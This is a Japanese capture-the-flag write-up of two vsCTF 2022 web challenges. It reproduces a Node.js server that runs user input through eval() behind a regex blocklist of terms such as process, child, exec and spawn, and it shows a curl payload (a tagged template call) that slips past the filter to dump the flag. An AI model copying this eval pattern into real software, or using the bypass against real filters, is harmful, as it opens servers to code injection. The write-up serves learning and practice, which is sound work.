vsCTF 2022 - Writeup
2022年7月9日, 16:00 UTC - 7月10日, 16:00 UTCに開催されたvsCTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で2問解いたので、以下にWriteupを記載する。
Web
Sanity Check
What does "VS" stand for in vsCTF? https://challs.viewsource.me/sanity-check/
指定されたURLへアクセスすると添付のようなメッセージが表示される。
Chromeの開発者ツールからソースコードを確認するとコメント化されたflagが確認できる。
flag : vsctf{v1ew_s0urc3_a_f1rst_y3ar_t3am!}
Baby Eval
Yet another baby challenge… https://babyeval-twekqonvua-uc.a.run.app/
指定されたURLへアクセスすると以下のソースコードが記載された画面が表示される。
title View Source CTF description Powered by Node.js and Express.js lastUpdate 2022-02-22T22:22:22.222Z source const express = require('express'); const app = express(); function escape(s) { return `${s}`.replace(/./g,c => "&#" + c.charCodeAt(0) + ";"); } function directory(keys) { const values = { "title": "View Source CTF", "description": "Powered by Node.js and Express.js", "flag": process.env.FLAG, "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.", "createdAt": "1970-01-01T00:00:00.000Z", "lastUpdate": "2022-02-22T22:22:22.222Z", "source": require('fs').readFileSync(__filename), }; return "<dl>" + keys.map(key => `<dt>${key}</dt><dd><pre>${escape(values[key])}</pre></dd>`).join("") + "</dl>"; } app.get('/', (req, res) => { const payload = req.query.payload; if (payload && typeof payload === "string") { const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload); if (matches) { res.status(400).send(matches.map(i => `<code>${i}</code>`).join("<br>")); } else { res.send(`${eval(payload)}`); } } else { res.send(directory(["title", "description", "lastUpdate", "source"])); } }); app.listen(process.env.PORT, () => { console.log(`Server started on http://127.0.0.1:${process.env.PORT}`); });
payloadで指定した文字列をevalで実行する処理が実装されている。
┌──(root💀kali)-[/ctf] └─# curl https://babyeval-twekqonvua-uc.a.run.app?payload=1 1
ただし以下のfilter処理で特定の文字列はサニタイズされる。
if (payload && typeof payload === "string") { const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload); if (matches) { res.status(400).send(matches.map(i => `<code>${i}</code>`).join("<br>"));
例.
┌──(root💀kali)-[/ctf] └─# curl https://babyeval-twekqonvua-uc.a.run.app?payload=app <code>app</code><br><code>app</code>
ソースコードの戻り値からdirectoryを指定するとdirectory関数の結果が表示される。flagはdirectory関数の中にあるので(や"を使わずにdirectory(["flag"])
が表現できればいい。
┌──(root💀kali)-[/ctf] └─# curl https://babyeval-twekqonvua-uc.a.run.app/?payload=directory function directory(keys) { const values = { "title": "View Source CTF", "description": "Powered by Node.js and Express.js", "flag": process.env.FLAG, "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.", "createdAt": "1970-01-01T00:00:00.000Z", "lastUpdate": "2022-02-22T22:22:22.222Z", "source": require('fs').readFileSync(__filename), }; return "<dl>" + keys.map(key => `<dt>${key}</dt><dd><pre>${escape(values[key])}</pre></dd>`).join("") + "</dl>"; }
ここで色々試して directoryflag
でflagが表示された。
┌──(root💀kali)-[/ctf] └─# curl 'https://babyeval-twekqonvua-uc.a.run.app/?payload=directory`flag`' <dl><dt>flag</dt><dd><pre>vsctf{regExAin’tGoodEnufForWAF}</pre></dd></dl>
flag : vsctf{regExAin’tGoodEnufForWAF}
感想
Baby Wasm
wasmの解析で力尽きた。他の方のWriteupからChromeのMemory Inspector
の使い方が分かったので参考になった。vsCAPTCHA
時間切れで解けず。相変わらずコーディング力不足を痛感した。